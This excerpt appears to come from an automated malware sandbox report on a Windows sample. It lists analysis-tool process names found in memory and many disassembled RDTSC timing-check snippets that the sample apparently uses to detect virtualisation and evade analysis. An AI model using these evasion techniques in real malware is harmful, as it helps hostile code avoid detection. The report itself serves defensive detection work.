Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TORUNS.EXEDUMPCAP.EXEDE4
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDANR.EXE
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 121BA36 second address: 121BA3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 121BA3A second address: 121BA40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 121BA40 second address: 121BA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1225B9D second address: 1225BBB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3EBCB3DBE4h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1225BBB second address: 1225BC5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3EBCCB1466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1225BC5 second address: 1225BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1225BD4 second address: 1225BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB146Bh 0x00000009 jmp 00007F3EBCCB1473h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1225D5E second address: 1225D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3EBCB3DBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1225ECA second address: 1225ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 122601E second address: 1226035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3EBCB3DBD6h 0x0000000a pop edx 0x0000000b jo 00007F3EBCB3DBDCh 0x00000011 jnp 00007F3EBCB3DBD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1226035 second address: 1226068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1475h 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F3EBCCB1477h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12262F2 second address: 12262F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12262F8 second address: 122630E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB146Ch 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 122630E second address: 1226314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1226314 second address: 1226319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1226319 second address: 1226339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1226339 second address: 122633D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 122633D second address: 1226343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227D41 second address: 1227D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jnc 00007F3EBCCB1478h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F3EBCCB146Eh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F3EBCCB1477h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227D96 second address: 1227D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227D9A second address: 1227D9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227D9E second address: 1227DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227DA4 second address: 1227DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCCB1475h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227DBD second address: 1227E38 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov dword ptr [ebp+122D1E24h], eax 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 jnp 00007F3EBCB3DBDBh 0x0000001d push 00000003h 0x0000001f mov ecx, 64D4600Eh 0x00000024 push EB0FC3D0h 0x00000029 jnl 00007F3EBCB3DBE5h 0x0000002f xor dword ptr [esp], 2B0FC3D0h 0x00000036 xor edx, 3F92BA31h 0x0000003c xor ecx, dword ptr [ebp+122D1F2Ch] 0x00000042 lea ebx, dword ptr [ebp+1245BBAAh] 0x00000048 mov edx, dword ptr [ebp+122D1D44h] 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 jmp 00007F3EBCB3DBE2h 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227E38 second address: 1227E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3EBCCB1466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227EE0 second address: 1227F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3EBCB3DBE9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227F06 second address: 1227F71 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F3EBCCB1472h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push ecx 0x00000013 push esi 0x00000014 ja 00007F3EBCCB1466h 0x0000001a pop esi 0x0000001b pop ecx 0x0000001c pop eax 0x0000001d jp 00007F3EBCCB1468h 0x00000023 push 00000003h 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D314Ah], esi 0x0000002c mov edi, dword ptr [ebp+122D2F43h] 0x00000032 popad 0x00000033 push 00000000h 0x00000035 and edx, dword ptr [ebp+122D2B01h] 0x0000003b push 00000003h 0x0000003d adc dh, 0000001Bh 0x00000040 call 00007F3EBCCB1469h 0x00000045 push eax 0x00000046 push edx 0x00000047 jp 00007F3EBCCB1471h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227F71 second address: 1227F77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227F77 second address: 1227F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227F7B second address: 1227F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227F89 second address: 1227F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227F90 second address: 1227FAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3EBCB3DBDEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227FAF second address: 1227FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227FB3 second address: 1227FC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227FC2 second address: 1227FDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1474h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1227FDA second address: 1227FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3EBCB3DBE5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 122806E second address: 12280BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F3EBCCB1477h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 call 00007F3EBCCB1472h 0x00000015 xor ecx, 672FBFB9h 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e add edx, dword ptr [ebp+122D2D17h] 0x00000024 push 188FB7D8h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12280BB second address: 12280BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12280BF second address: 1228177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F3EBCCB1479h 0x0000000c pop ebx 0x0000000d popad 0x0000000e xor dword ptr [esp], 188FB758h 0x00000015 and esi, 7631A860h 0x0000001b jmp 00007F3EBCCB1479h 0x00000020 push 00000003h 0x00000022 jbe 00007F3EBCCB147Ah 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F3EBCCB1468h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov dword ptr [ebp+122D253Eh], edx 0x0000004a push 00000003h 0x0000004c jnc 00007F3EBCCB1468h 0x00000052 call 00007F3EBCCB1469h 0x00000057 jmp 00007F3EBCCB1471h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1228177 second address: 122817E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1248A7D second address: 1248AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1476h 0x00000009 jmp 00007F3EBCCB1474h 0x0000000e popad 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F3EBCCB1472h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 124688D second address: 1246891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12471A0 second address: 12471AE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1247719 second address: 1247726 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1247726 second address: 1247759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1474h 0x00000009 jmp 00007F3EBCCB1478h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1247898 second address: 124789E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 124789E second address: 12478D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007F3EBCCB1466h 0x00000011 popad 0x00000012 je 00007F3EBCCB146Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3EBCCB1479h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1247A4D second address: 1247A53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1247A53 second address: 1247A8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3EBCCB1475h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jne 00007F3EBCCB1466h 0x00000010 popad 0x00000011 jmp 00007F3EBCCB1470h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1247A8B second address: 1247A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1247A91 second address: 1247A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12482A7 second address: 12482C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3EBCB3DBE3h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12482C5 second address: 12482C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12482C9 second address: 12482CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12482CD second address: 12482DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3EBCCB1466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12482DD second address: 12482E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12482E1 second address: 12482F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12482F3 second address: 1248317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F3EBCB3DBE8h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1248317 second address: 1248344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB146Eh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F3EBCCB146Eh 0x00000010 push eax 0x00000011 pop eax 0x00000012 jg 00007F3EBCCB1466h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1248344 second address: 1248359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F3EBCB3DBD6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push ebx 0x0000000d je 00007F3EBCB3DBD6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1248480 second address: 124848C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 124848C second address: 1248498 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3EBCB3DBD6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12485F1 second address: 12485F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12485F9 second address: 1248616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3EBCB3DBDCh 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F3EBCB3DBDEh 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1248616 second address: 124861A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 124861A second address: 124861F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12488A8 second address: 12488AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12488AC second address: 12488CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3EBCB3DBE9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 124A598 second address: 124A59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 124A59F second address: 124A5A9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3EBCB3DBDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 124AE4C second address: 124AE50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 120E53A second address: 120E542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 120E542 second address: 120E546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1252CAF second address: 1252CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125337A second address: 125337F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125337F second address: 1253384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1253384 second address: 125338A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125338A second address: 1253398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12551B9 second address: 12551BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125545C second address: 1255462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1255462 second address: 1255471 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1255471 second address: 1255487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCB3DBE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1255638 second address: 125563E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1255705 second address: 125571C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jc 00007F3EBCB3DBD6h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1255DC7 second address: 1255DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1255DCD second address: 1255DD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
